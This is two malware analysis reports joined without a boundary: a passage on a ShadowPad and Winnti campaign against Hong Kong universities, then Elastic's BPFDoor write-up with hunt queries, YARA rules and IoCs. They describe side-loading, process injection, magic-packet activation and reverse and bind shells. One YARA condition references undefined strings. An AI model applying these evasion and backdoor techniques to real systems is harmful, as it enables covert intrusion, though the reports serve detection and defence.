The launcher is a 32-bit DLL named hpqhvsei.dll, which is the name of a legitimate DLL loaded by hpqhvind.exe. This executable is from HP and is usually installed with their printing and scanning software called “HP Digital Imaging.” In this case, the legitimate hpqhvind.exe was dropped by the attackers, along with their malicious hpqhvsei.dll, in C:\Windows\Temp.
Although we do not have the component that dropped and executed this launcher, the presence of these files leads us to think that the initial execution of this launcher is done through DLL side-loading.
When the malicious DLL is loaded at hpqhvind.exe startup, its DLLMain function is called that will check its parent process for the following sequence of bytes at offset 0x10BA:
```
85 C0 ; test eax, eax
0F 84 ; jz
```
In the case where the parent process is hpqhvind.exe, this sequence of bytes is present at this exact location and the malicious DLL will proceed to patch the parent process in memory. It replaces the original instructions at 0x10BA with an unconditional jump (jmp – 0xE9) to the address of the function from hpqhvsei.dll that decrypts and executes the encrypted payload embedded in the launcher.
The decompiled function responsible for patching the parent process is shown in Figure 1. In case hpqhvsei.dll is loaded by a different process than hpqhvind.exe, the malicious code will not be decrypted and executed.
## Payload Decryption
The encrypted payload is located in the .rdata section of hpqhvsei.dll and the decryption algorithm is an XOR loop where the XOR key is updated at each iteration, as shown in Figure 3. The decrypted payload is the usual shellcode responsible for ShadowPad initialization (obfuscated using fake conditional jumps to hinder disassembly).
## Persistence
After having been decrypted, ShadowPad’s shellcode is executed. It will first achieve persistence on the system by writing the in-memory patched parent process to disk to a path specified in the configuration string pool. In the case we examined, the path was C:\ProgramData\DRM\CLR\CLR.exe. It then creates a service named clr_optimization_v4.0.30229_32, which is responsible for executing CLR.exe. To avoid suspicion, this service name, as well as the executable name, were chosen to look similar to the name of a Microsoft .NET optimization Service.
## Modules
ShadowPad is a multimodular backdoor where the modules are referenced from the Root module with a circular list from which one can extract the module address, a UNIX timestamp (probably embedded automatically during the module’s compilation process), and a module identifier. From the module itself, we can also extract the name the developer gave to the module. This version embeds the 17 modules listed in the following table:
| ID | Name | Timestamp | Description |
|-----|----------|------------------------------------|--------------------------------------------------|
| 100 | Root | Thu 24 Oct 2019 12:08:27 PM UTC | Initial shellcode |
| 101 | Plugins | Thu 24 Oct 2019 12:07:02 PM UTC | Provides API for the other modules; loads modules|
| 102 | Config | Thu 24 Oct 2019 12:07:09 PM UTC | Handles encrypted configuration string pool |
| 103 | Install | Thu 24 Oct 2019 12:07:46 PM UTC | Achieves persistence |
| 104 | Online | Thu 24 Oct 2019 12:07:17 PM UTC | Overall communications with the C&C server |
| 106 | ImpUser | Thu 24 Oct 2019 12:07:24 PM UTC | User impersonation via token duplication |
| 200 | TCP | Thu 24 Oct 2019 12:01:01 PM UTC | TCP communications |
| 202 | HTTPS | Thu 24 Oct 2019 12:01:15 PM UTC | HTTPS communications |
| 207 | Pipe | Thu 24 Oct 2019 12:01:35 PM UTC | Handles named pipes |
| 300 | Disk | Thu 24 Oct 2019 12:02:29 PM UTC | File system operations |
| 301 | Process | Thu 24 Oct 2019 12:02:36 PM UTC | Process handling |
| 302 | Servcie | Thu 24 Oct 2019 12:02:45 PM UTC | Service handling |
| 303 | Register | Thu 24 Oct 2019 12:02:52 PM UTC | Registry operations |
| 304 | Shell | Thu 24 Oct 2019 12:03:00 PM UTC | Command line operations |
| 306 | Keylogger| Thu 24 Oct 2019 12:03:16 PM UTC | Keylogging to file system |
| 307 | Screen | Thu 24 Oct 2019 12:03:25 PM UTC | Screenshot capture |
| 317 | RecentFiles| Thu 24 Oct 2019 12:04:44 PM UTC| Lists recently accessed files |
These modules, except for RecentFiles, have already been mentioned by Kaspersky and Avast. Notice the “Servcie” typo.
As usual, all the module timestamps are spread over a short time range, which could suggest the use of a build framework to compile these modules. This also suggests that these modules were built a few hours before the launcher itself, whose compilation timestamp is Thu Oct 24 14:10:32 2019. Since this compilation timestamp dates back two weeks before this campaign, it’s likely that it hasn’t been tampered with by the attackers.
One might also note that the number of modules embedded in this variant is much higher (17) than the number of modules embedded in the variants previously documented in our white paper (8 to 10 modules).
By default, every keystroke is recorded using the Keylogger module (306, previously documented by Avast) and saved to disk in the file %APPDATA%\PAGM\OEY\XWWEYG\WAOUE. The log file is encrypted using the same algorithm as the one used to encrypt static strings from the module. Using this module by default indicates that the attackers are interested in stealing information from the victims’ machines. In contrast, the variants we described in our white paper didn’t even have that module embedded.
## Configuration
As with previous ShadowPad variants, the Config module (102) contains an encrypted string pool that can be accessed from any other module. The string pool is never stored entirely decrypted in memory; the field of interest is decrypted when needed and then immediately freed (thus quickly unavailable). The configuration size is 2180 bytes and the encrypted strings are located at offset 0x84. The algorithm used to decrypt the strings is the same as the one used to decrypt the static strings of the module. The decrypted content of the string pool is the following:
```
0x84: 2019/11/7 16:28:36
0x99: CAMPAIGN_ID_REDACTED
0xa1: %ALLUSERSPROFILE%\DRM\CLR\CLR.exe
0xc5: clr_optimization_v4.0.30229_32
0xe6: clr_optimization_v4.0.30229_32
0x107: clr_optimization_v4.0.30229_32
0x128: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
0x158: CLR
0x15e: %ProgramFiles%\Windows Media Player\wmplayer.exe
0x197: %windir%\system32\svchost.exe
0x1b7: TCP://b[redacted].dnslookup.services:443
0x1db: UDP://b[redacted].dnslookup.services:443
0x202: SOCKS4
0x21e: SOCKS5
```
The campaign ID is located at offset 0x99 and is the name of the targeted university. Having a campaign ID related to the target is quite common in the case of ShadowPad and Winnti.
Interestingly, the timestamp present in this config at offset 0x84 is later than the modules’ timestamps and the loader compilation timestamp. This suggests that this config is added manually to the sample after having been built. Even though it’s probably coincidental, the date within the config corresponds to the date of the first detection of this sample at the corresponding university.
## Network Communications
Once installed on the system, ShadowPad starts a hidden and suspended Microsoft Windows Media Player wmplayer.exe process and injects itself into that process. The path to wmplayer.exe is provided by the Config module.
Once ShadowPad is injected into wmplayer.exe, the Online module will contact the C&C server using the URL specified in the configuration. It will then start listening for connections on port 13567 after having updated firewall rules accordingly:
```
Registry key:
HKLM\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\
{816381AB-1400-45E5-B560-B8E11C5988CF}
Value:
v2.10|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Public|LPort=13567|Name=Network Discovery (TCP)|
```
The communication is then handled by the TCP module (200), which was previously documented by Kaspersky.
## Winnti Malware Was There as Well
In addition to ShadowPad, the Winnti malware was found on some machines at these two universities at the end of October (i.e., two weeks before ShadowPad) in the file C:\Windows\System32\oci.dll and is detected by ESET products as Win64/Winnti.CA. The Winnti malware usually contains a configuration specifying a campaign ID and a C&C URL. On all machines, the campaign ID matches the name of the targeted university and the C&C URLs are:
- w[redacted].livehost.live:443
- w[redacted].dnslookup.services:443
where the redacted part corresponds to the name of the targeted university.
## C&C URL Format
One can observe that the C&C URL used by both Winnti and ShadowPad complies with the scheme [backdoor_type][target_name].domain.tld:443 where [backdoor_type] is a single letter which is either “w” in the case of the Winnti malware or “b” in the case of ShadowPad. From this format, we were able to find several C&C URLs, including three additional Hong Kong universities’ names. The campaign identifiers found in the samples we’ve analyzed match the subdomain part of the C&C server, showing that these samples were really targeted against these universities.
## Conclusion
The Winnti Group is still actively using one of its flagship backdoors, ShadowPad, this time against Hong Kong universities. In this campaign, the VMProtected launcher used with ShadowPad, as well as with the PortReuse backdoor and skip-2.0, was replaced by a simpler one. That these samples, in addition to having been found at these universities, contain campaign IDs matching the universities’ names and use C&C URLs containing the universities’ names are good indications that this campaign is highly targeted.
We will continue to monitor new activities of the Winnti Group and will publish relevant information on our blog. For any inquiries, contact us at [email protected]. The IoCs are also available in our GitHub repository.
## Indicators of Compromise (IoCs)
**ESET Detection Names**
- Win32/Shadowpad.C trojan
- Win64/Winnti.CA trojan
**File Names**
- %ALLUSERSPROFILE%\DRM\CLR\hpqhvsei.dll
- %ALLUSERSPROFILE%\DRM\CLR\CLR.exe
- C:\windows\temp\hpqhvsei.dll
- C:\windows\temp\hpqhvind.exe
- %SYSTEM32%\oci.dll
- %APPDATA%\PAGM\OEY\XWWEYG\WAOUE
**Service Display Name**
- clr_optimization_v4.0.30229_32
**C&C Servers**
- b[org_name].dnslookup.services:443
- w[org_name].livehost.live:443
- w[org_name].dnslookup.services:443
**ShadowPad Launcher**
- Similar sample to avoid disclosing targeted universities: 693f0bd265e7a68b5b98f411ecf1cd3fed3c84af
## MITRE ATT&CK Techniques
| Tactic | ID | Name | Description |
|---------------|----------|------------------------------------|-----------------------------------------------------------------------------|
| Persistence | T1050 | New Service | ShadowPad persists as a service called clr_optimization_v4.0.30229_32. |
| Defense Evasion| T1073 | DLL Side-Loading | ShadowPad’s launcher is loaded by a legitimate executable via DLL side-loading. |
| | T1055 | Process Injection | ShadowPad is injected into a wmplayer.exe process. |
| | T1140 | Deobfuscate/Decode Files or Information | ShadowPad launcher uses XOR to decrypt the payload. ShadowPad uses a custom algorithm to decrypt strings and configuration. |
| | T1027 | Obfuscated Files or Information | ShadowPad shellcode is XOR-encoded and uses fake conditional jumps to hinder disassembly. ShadowPad’s strings and configuration are encrypted. It also uses API hashing. |
| | T1143 | Hidden Window | ShadowPad is injected into a wmplayer.exe process started in a hidden window. |
| Discovery | T1010 | Application Window Discovery | ShadowPad’s keylogging module lists application windows. |
| | T1083 | File and Directory Discovery | ShadowPad’s RecentFiles module lists files recently accessed. |
| Command and Control | T1071 | Standard Application Layer Protocol | ShadowPad can use HTTP and HTTPS for C&C communications. |
| | T1043 | Commonly Used Port | ShadowPad uses TCP:443 and UDP:443. |
| | T1065 | Uncommonly Used Port | ShadowPad listens on port 13567. |
| | T1095 | Standard Non-Application Layer Protocol | ShadowPad can use UDP and TCP for C&C communications. |
| | T1024 | Custom Cryptographic Protocol | ShadowPad uses its own cryptographic protocol for C&C communications. |
| Collection | T1056 | Input Capture | ShadowPad has a keylogging module. |
| | T1113 | Screen Capture | ShadowPad has a screenshot module. |
| Exfiltration | T1022 | Data Encrypted | Keystrokes recorded by the keylogging module are stored encrypted on disk. | |
# A Peek Behind the BPFDoor
## BPFDoor Malware Red Menshen
**Preamble**
BPFDoor is a backdoor payload specifically crafted for Linux. Its purpose is for long-term persistence in order to gain re-entry into a previously or actively compromised target environment. It notably utilizes BPF along with a number of other techniques to achieve this goal, taking great care to be as efficient and stealthy as possible. PWC researchers discovered this very interesting piece of malware in 2021. PWC attributes this backdoor to a specific group from China, Red Menshen, and detailed a number of interesting components in a high-level threat research post released last week.
PWC’s findings indicated that Red Menshen had focused their efforts on targeting specific Telecommunications, Government, Logistics, and Education groups across the Middle East and Asia. This activity has been across a Monday-to-Friday working period, between 01:00 UTC and 10:00 UTC, indicating that the operators of the malware were consistent in their attacks during a working week.
Perhaps most concerningly, the payload itself has been observed across the last 5 years in various phases of development and complexity, indicating that the threat actor responsible for operating the malware has been at it for some time, undetected in many environments.
## BPFDoor Tools
The Elastic Security Team has created a few tools that will aid researchers in analyzing the BPFDoor malware. The BPFDoor scanner will allow you to scan for hosts infected with the BPFDoor malware, and the BPFDoor configuration extractor will allow you to extrapolate the malware’s configuration or hardcoded values which can lead to additional observations you can use for further analysis, developing additional signatures, or connecting to the backdoor utilizing our client.
## General Analysis
Red Menshen has leveraged a network of VPS servers to act as a controller network and access these systems via compromised routers based out of Taiwan. The routers act as a VPN network for the adversarial groups via a sequence of specifically crafted packets sent to an infected host. Researchers have indicated that this payload is pervasive and that compromised hosts have been observed across the US, South Korea, Hong Kong, Turkey, India, Vietnam, and Myanmar.
BPF-based malware payloads, while ultimately uncommon, serve a specific purpose on Linux-based hosts where stealthy and performant operations are critical for success. Tools such as BPFDoor are not alone. Recently, Pangu Labs discovered a payload by the name of Bvp47, a sensor that used stealthy BPF-based telemetry to acquire detailed information about the workloads running on infected hosts.
eBPF (Extended Berkeley Packet Filters), a new evolution of BPF used increasingly today, is gaining popularity amongst system operators given its efficiency and proven, powerful capabilities leveraged often for system performance, network, and security telemetry collection. Adversaries are taking note, and it is our assumption that malware targeting cloud systems will increasingly leverage these methods in the future.
## Attack Lifecycle
This inherently passive backdoor payload is built to be a form of persistence – a method to regain access if the first or second stage payloads are lost. It is built for and intended to be installed on high-uptime servers or appliances, IoT/SCADA, or cloud systems with access to the Internet. The backdoor usually sits in temporary storage, so if a server were to be rebooted or shut down, the backdoor would be lost.
It should be assumed that if this malware is found on a system, the initial-access (1st stage) or post-exploitation (2nd stage) payloads are still most likely present and possibly active elsewhere in the environment. This backdoor excels at stealth, taking every opportunity to blend in and remain undetected.
In the below steps, we will break BPFDoor’s actions down according to the vast majority of the samples available.
1. When executed, the binary copies itself into `/dev/shm/`. A temporary filesystem `/dev/shm` stands for shared memory and is a temporary file storage facility serving as an efficient means of inter-process communication.
2. Renames its process to `kdmtmpflush`, a hardcoded process name.
3. Initializes itself with the `-init` flag and forks itself. Forking in Linux means creating a new process by duplicating the calling process.
4. Deletes itself by removing the original binary invoked. The forked process continues to run.
5. Alters the forked processes’ creation and modification time values, also known as timestomping.
6. Creates a new process environment for itself and removes the old one, setting (spoofing) a new process name. It changes the way it appears on the system akin to wearing a mask. The process is still `kdmtmpflush`, but if you were to run a `ps`, you would see whatever value it set.
7. Creates a process ID (PID) file in `/var/run`. PID files are text files containing the process of the associated program meant for preventing multiple starts, marking residency, and used by the program to stop itself. This file resides in `/var/run`, another temporary file storage facility.
8. Creates a raw network socket. On Linux, a socket is an endpoint for network communication that allows you to specify in detail every section of a packet allowing a user to implement their own transport layer protocol above the internet (IP) level.
9. Sets BPF filters on the raw socket. BPF allows a user-space program to attach a filter onto any socket and allow or disallow certain types of data to come through the socket.
10. Observes incoming packets.
11. If a packet is observed that matches the BPF filters and contains the required data, it is passed to the backdoor for processing.
12. It forks the current process again.
13. Changes the forked process's working directory to `/`.
14. Changes (spoofs) the name of the forked process to a hardcoded value.
15. Based on the password or existence of a password sent in the “magic packet,” the backdoor provides a reverse shell, establishes a bind shell, or sends back a ping.
## Atypical BPFDoor Sample
Of note, there is one sample we have come across that does not seem to exhibit steps 1 - 4. It doesn’t alter its initial name to a hardcoded value and simply executes from its placed location; otherwise, it models the same behavior.
## Defense Evasion Insights
BPFDoor is interesting given the anti-forensics and obfuscation tactics used. Astute readers will observe slight differences in the PID tree visible when running a `ps ajxf` on an infected host when compared to executed data within the Analyzer View inside of Elastic. The difference lies in the fact that `kdmtmpflush` and `sh` are run prior to spoofing and are captured at runtime by Elastic Endpoint. This is an accurate representation of the processes active on the host, further confirming the importance of appropriate observation software for Linux hosts - you can’t always trust what you see on the local system.
BPFDoor also holds in its repertoire the ability to subvert the traditional Linux socket client-server architecture in order to hide its malicious traffic. The methods which it utilizes to achieve this are both unusual and intriguing. The sockets interface is almost synonymous with TCP/IP communication. This simple interface has endured for over 40 years - predating both Linux and Windows implementations.
BPFDoor uses a raw socket (as opposed to ‘cooked’ ones that handle IP/TCP/UDP headers transparently) to observe every packet arriving at the machine, ethernet frame headers and all. While this might sound like a stealthy way to intercept traffic, it’s actually not – on any machine with a significant amount of network traffic, the CPU usage will be consistently high.
That’s where BPF comes in - an extremely efficient, kernel-level packet filter is the perfect tool to allow the implant to ignore 99% of network traffic and only become activated when a special pattern is encountered. This implant looks for a so-called magic packet in every TCP, UDP, and ICMP packet received on the system.
Once activated, a typical reverse shell - which this backdoor also supports - creates an outbound connection to a listener set up by the attacker. This has the advantage of bypassing firewalls watching inbound traffic only. This method is well-understood by defenders, however. The sneakiest way to get a shell connected would be to reuse an existing packet flow, redirected to a separate process.
In this attack, the initial TCP handshake is done between the attacker and a completely legitimate process – for example, nginx or sshd. These handshake packets happen to be also delivered to the backdoor (like every packet on the system) but are filtered out by BPF. Once the connection is established, however, BPFDoor sends a magic packet to the legitimate service. The implant receives it and makes a note of the originating IP and port the attacker is using, and it opens a new listening socket on an inconspicuous port (42391 - 43391).
The implant then reconfigures the firewall to temporarily redirect all traffic from the attacker’s IP/port combination to the new listening socket. The attacker initiates a second TCP handshake on the same legitimate port as before, only now iptables forwards those packets to the listening socket owned by the implant. This establishes the communication channel between attacker and implant that will be used for command and control. The implant then covers its tracks by removing the iptables firewall rules that redirected the traffic. Despite the firewall rule being removed, traffic on the legitimate port will continue to be forwarded to the implant due to how Linux statefully tracks connections. No visible traffic will be addressed to the implant port (although it will be delivered there).
## BPF Filters
As stated in step 9, BPF or Berkeley Packet Filters is a technology from the early ’90s that allows a user-space program to attach a network filter onto any socket and allow or disallow certain types of data to come through the socket. These filters are made up of bytecode that runs on an abstract virtual machine in the Linux kernel. The BPF virtual machine has functionality to inspect all parts of incoming packets and make an allow/drop decision based on what it sees.
We took this BPF code, converted it, and wrote it up as pseudocode in an effort to aid our research and craft packets able to successfully get through these filters in order to activate the backdoor.
The above capabilities allow BPFDoor to attach a filter onto any socket and allow or disallow certain types of data to come through the socket - used carefully by the adversary to invoke a series of different functions within the payload.
## Historical Analysis
We wanted to see over time, between BPFDoor payloads, what, if anything, the threat actors modified. A number of samples were detonated and analyzed ranging from the uploaded source code to a sample uploaded last month. We found that the behavior over time did not change a great deal. It maintained the same relative attack lifecycle with a few variations with the hardcoded values such as passwords, process names, and files - this is not uncommon when compared to other malware samples that look to evade detection or leverage payloads across a variety of victims.
We posture that the threat group would change passwords and update process or file names in an effort to improve operational security and remain hidden. It also makes sense that the general functionality of the backdoor would not change in any great way. As the saying goes, “If it’s not broken, don’t fix it.” Our malware analysis and reverse engineering team compared the source code (uploaded to VirusTotal and found on Pastebin) to a recently uploaded sample highlighting some of the notable changes within the main function of the malware.
## Linux Malware Sophistication
A trend we have had the privilege of observing at Elastic is the threat landscape of Linux targeted attacks - these being focused often on cloud workloads, or systems that typically have less observational technology configured in many of the environments we see. The trend of complex, well-designed payloads is something that is often simply overlooked, and specifically in the case of BPFDoor, remained hidden for years.
It is important to consider these workloads a critical component of your security posture: A lack of visibility within cloud workloads will eventually lead to large gaps in security controls - adversarial groups are further growing to understand these trends and act accordingly. Best practices state that endpoint defenses should be consistent across the fleet of systems under management and conform to a least privilege architecture.
## Detection of BPFDoor
After researching this malware, it became apparent as to why the backdoor remained in use and hidden for so long. If you aren’t intimately familiar with Linux process abnormalities or weren’t looking for it, you would generally not detect it. Even though it takes advantage of Linux capabilities in a stealthy manner to evade detection, there are still opportunities for both behavioral and signature-based detections.
The first area of opportunity we witnessed while testing was the behavior we observed during the initial execution of the malware, specifically its working directory, in a shared memory location `/dev/shm`. This is a native temporary filesystem location in Linux that uses RAM for storage, and a binary executing from it, let alone generating network connections, is fairly uncommon in practice.
During execution, BPFDoor removes existing files from `/dev/shm` and copies itself there prior to initialization. A detection for this would be any execution of a binary from this directory as root (you have to be root to write to and read from this directory).
This was verified by detonating the binary in a VM while our Elastic Agent was installed and observing the sequence of events.
The second opportunity we noticed for detection was a specific PID file being created in `/var/run`. We noticed the dropped PID file was completely empty while doing a quick query via the Osquery integration to the `/var/run` directory. While this is not inherently malicious, it is unusual for the file size of a PID to be 0 or above 10 bytes, and thus we created an additional rule centered around detecting this unusual behavior.
Our Abnormal Process ID or Lock File Created rule identifies the creation of a PID file in the main directory of `/var/run` with no subdirectory, ignoring common PID files to be expected.
The third area we wanted to look at was the network connections tied to two of the three capabilities (reverse shell and bind shell) the backdoor possesses. We wanted to see if there were any suspicious network connections tied to process or user abnormalities we could sequence together based on the way BPFDoor handles establishing a reverse or bind shell.
The reverse shell was the first capability focused on. Taking a deep look at the process tree in and around the reverse shell establishment allowed us to key in on what would be considered a strange or even abnormal sequence of events leading to and involving an outbound network connection.
We developed a hunt rule sequence that identifies an outbound network connection attempt followed by a session ID change as the root user by the same process entity. The reason we developed these network-focused hunt rules is due to possible performance issues caused if running these continually.
The bind shell was the last capability we honed in on. Identifying an abnormal sequence of events surrounding the bind shell connection was difficult due to the way it forks, then accepts the connection and kills the accepting process post-established connection. Therefore, we had to focus on the sequence of events within the process entity ID directly involving the network connection and subsequent killing of the accepting process.
After developing the two detection rules along with the two hunt rules listed below and in addition to the six YARA signatures deployed, we were able to detect BPFDoor in a myriad of different ways and within different stages of its life cycle. As stated earlier, though, if you detect this malware in your environment, it should be the least of your concerns given the threat actor will most likely have already successfully compromised your network via other means.
## Existing Detection Rules
The following Elastic Detection Rules will identify BPFDoor activity:
- Abnormal Process ID or Lock File Created
- Binary Executed from Shared Memory Directory
## Hunting Queries
This EQL rule can be used to successfully identify BPFDoor reverse shell connections having been established within your environment:
```
EQL BPFDoor reverse shell hunt query
sequence by process.entity_id with maxspan=1m
[network where event.type == "start" and event.action == "connection_attempted" and user.id == "0" and not process.executable : ("/bin/ssh", "/sbin/ssh", "/usr/lib/systemd/systemd")]
[process where event.action == "session_id_change" and user.id == "0"]
```
The hunt rule we created here identifies a sequence of events beginning with a session ID change, followed by a network connection accepted, in correlation with ptmx file creation and a deletion of the process responsible for accepting the network connection. This EQL rule can be used to successfully identify BPFDoor bind shell connections within your environment:
```
EQL BPFDoor bind shell hunt query
sequence by process.entity_id with maxspan=1m
[process where event.type == "change" and event.action == "session_id_change" and user.id == 0 and not process.executable : ("/bin/ssh", "/sbin/ssh", "/usr/lib/systemd/systemd")]
[network where event.type == "start" and event.action == "connection_accepted" and user.id == 0]
[file where event.action == "creation" and user.id == 0 and file.path == "/dev/ptmx"]
[process where event.action == "end" and user.id == 0 and not process.executable : ("/bin/ssh", "/sbin/ssh", "/usr/lib/systemd/systemd")]
```
## YARA Rules
In addition to behavioral detection rules in the Elastic Endpoint, we are releasing a set of BPFDoor YARA signatures for the community.
### BPFDoor YARA Rule
```yara
rule Linux_Trojan_BPFDoor_1 {
meta:
Author = "Elastic Security"
creation_date = "2022-05-10"
last_modified = "2022-05-10"
os = "Linux"
arch = "x86"
category_type = "Trojan"
family = "BPFDoor"
threat_name = "Linux.Trojan.BPFDoor"
description = "Detects BPFDoor malware."
reference_sample = "144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3"
strings:
$a1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
$a2 = "/sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d" ascii fullword
$a3 = "avahi-daemon: chroot helper" ascii fullword
$a4 = "/sbin/mingetty /dev/tty6" ascii fullword
$a5 = "ttcompat" ascii fullword
condition:
all of them
}
```
```yara
rule Linux_Trojan_BPFDoor_2 {
meta:
Author = "Elastic Security"
creation_date = "2022-05-10"
last_modified = "2022-05-10"
os = "Linux"
arch = "x86"
category_type = "Trojan"
family = "BPFDoor"
threat_name = "Linux.Trojan.BPFDoor"
description = "Detects BPFDoor malware."
reference_sample = "3a1b174f0c19c28f71e1babde01982c56d38d3672ea14d47c35ae3062e49b155"
strings:
$a1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
$a2 = "/sbin/mingetty /dev/tty7" ascii fullword
$a3 = "pickup -l -t fifo -u" ascii fullword
$a4 = "kdmtmpflush" ascii fullword
$a5 = "avahi-daemon: chroot helper" ascii fullword
$a6 = "/sbin/auditd -n" ascii fullword
condition:
all of them
}
```
```yara
rule Linux_Trojan_BPFDoor_3 {
meta:
Author = "Elastic Security"
creation_date = "2022-05-10"
last_modified = "2022-05-10"
os = "Linux"
arch = "x86"
category_type = "Trojan"
family = "BPFDoor"
threat_name = "Linux.Trojan.BPFDoor"
description = "Detects BPFDoor malware."
reference_sample = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
strings:
$a1 = "[-] Spawn shell failed." ascii fullword
$a2 = "[+] Packet Successfully Sending %d Size." ascii fullword
$a3 = "[+] Monitor packet send." ascii fullword
$a4 = "[+] Using port %d"
$a5 = "decrypt_ctx" ascii fullword
$a6 = "getshell" ascii fullword
$a7 = "getpassw" ascii fullword
condition:
all of them
}
```
```yara
rule Linux_Trojan_BPFDoor_4 {
meta:
Author = "Elastic Security"
creation_date = "2022-05-10"
last_modified = "2022-05-10"
os = "Linux"
arch = "x86"
category_type = "Trojan"
family = "BPFDoor"
threat_name = "Linux.Trojan.BPFDoor"
description = "Detects BPFDoor malware."
reference_sample = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
strings:
$a1 = { 45 D8 0F B6 10 0F B6 45 FF 48 03 45 F0 0F B6 00 8D 04 02 00 }
condition:
all of them
}
```
```yara
rule Linux_Trojan_BPFDoor_5 {
meta:
Author = "Elastic Security"
creation_date = "2022-05-10"
last_modified = "2022-05-10"
os = "Linux"
arch = "x86"
category_type = "Trojan"
family = "BPFDoor"
threat_name = "Linux.Trojan.BPFDoor"
description = "Detects BPFDoor malware."
reference_sample = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
strings:
$a1 = "getshell" ascii fullword
$a2 = "/sbin/agetty --noclear tty1 linux" ascii fullword
$a3 = "packet_loop" ascii fullword
$a4 = "godpid" ascii fullword
$a5 = "ttcompat" ascii fullword
$a6 = "decrypt_ctx" ascii fullword
$a7 = "rc4_init" ascii fullword
condition:
all of ($a*) or 1 of ($b*)
}
```
```yara
rule Linux_Trojan_BPFDoor_6 {
meta:
Author = "Elastic Security"
creation_date = "2022-05-10"
last_modified = "2022-05-10"
os = "Linux"
arch = "x86"
category_type = "Trojan"
family = "BPFDoor"
threat_name = "Linux.Trojan.BPFDoor"
description = "Detects BPFDoor malware."
reference_sample = "dc8346bf443b7b453f062740d8ae8d8d7ce879672810f4296158f90359dcae3a"
strings:
$a1 = "getpassw" ascii fullword
$a2 = "(udp[8:2]=0x7255) or (icmp[8:2]=0x7255) or (tcp[((tcp[12]&0xf0)>>2):2]=0x5293)" ascii fullword
$a3 = "/var/run/haldrund.pid" ascii fullword
$a4 = "Couldn't install filter %s: %s" ascii fullword
$a5 = "godpid" ascii fullword
condition:
all of them
}
```
## Interacting with BPFDoor
The Elastic Security Team has released several tools that can aid in further research regarding BPFDoor, including a network scanner used to identify infected hosts, a BPFDoor malware configuration extractor, and a BPFDoor client binary that can be used to actively interact with a sample.
### BPFDoor Scanner
The Elastic Security Team has released a Python script that can identify if you have BPFDoor infected hosts. The scanner sends a packet to a defined IP address using the default target port (68/UDP) and default interface. It listens to return traffic on port 53/UDP.
### BPFDoor Configuration Extractor
This tool will allow you to extract configurations from any BPFDoor malware you may have collected. This will allow you to develop additional signatures and further analysis of the malware as well as your environment.
### BPFDoor Client POC
Quickly after beginning our research into this malware, we realized we would also need to actively interact with BPFDoor in order to observe the full extent of the capabilities that it possesses and monitor what these capabilities would look like from a host and SIEM level.
In order to do this, we had to break down the BPF filters in the BPFDoor source code so we could craft packets for the different protocols. To do this, we used Scapy, a packet manipulation program, to ensure we could pass the filters for the purpose of activating the backdoor. Once we ensured we could pass the filters, Rhys Rustad-Elliott, an engineer at Elastic, built a BPFDoor client that accepts a password, IP address, and port allowing you to connect to a BPFDoor sample and interact if you possess the sample’s hardcoded passwords.
Depending on the password or lack of password provided, BPFDoor will behave exactly the same way it would in the wild. You can invoke a reverse shell, establish a bind shell, or connect to it with no supplied password to receive a ping-back confirming its installation.
## Impact
The following MITRE ATT&CK Tactic, Techniques, and Sub-techniques have been observed with the BPFDoor malware.
### Tactics
Tactics represent the “why” of an ATT&CK technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
- Execution
### Techniques (sub-techniques)
Techniques (and sub-techniques) represent ‘how’ an adversary achieves a tactical goal by performing an action.
## Summary
While threat groups continue to increase in maturity, we expect this kind of mature, well-designed, and hidden threat will continue to be found within Linux environments. These kinds of findings reiterate the importance of comprehensive security controls across the entirety of a fleet, rather than simply focusing on user endpoints. BPFDoor demonstrates a perfect example of how important monitoring workloads within Linux environments can be. Payloads such as this are near-on impossible to observe and detect without sufficient controls and should be considered a moving trend within the general adversarial landscape.
## Observables
| Observable | Type | Reference | Note |
|------------|------|-----------|------|
| /dev/shm/kdmtmpflush | process name | BPFDoor | Observed |
| /var/run/haldrund.pid | file name | BPFDoor | Observed PID file |
| /var/run/kdevrund.pid | file name | BPFDoor | Observed PID file |
| /var/run/xinetd.lock | file name | BPFDoor | Observed lock file |
| 74ef6cc38f5a1a80148752b63c117e6846984debd2af806c65887195a8eccc56 | SHA-256 | BPFDoor | malware |
| 07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d | SHA-256 | BPFDoor | malware |
| 76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925 | SHA-256 | BPFDoor | malware |
| 93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c | SHA-256 | BPFDoor | malware |
| 96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9 | SHA-256 | BPFDoor | malware |
| 599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683 | SHA-256 | BPFDoor | malware |
| 2e0aa3da45a0360d051359e1a038beff8551b957698f21756cfc6ed5539e4bdb | SHA-256 | BPFDoor | malware |
| f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72 | SHA-256 | BPFDoor | malware |
| fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a | SHA-256 | BPFDoor | malware |
| 5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3 | SHA-256 | BPFDoor | malware |
| f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27 | SHA-256 | BPFDoor | malware |
| 5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9 | SHA-256 | BPFDoor | malware |
| 97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc | SHA-256 | BPFDoor | malware |
| c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c | SHA-256 | BPFDoor | malware |
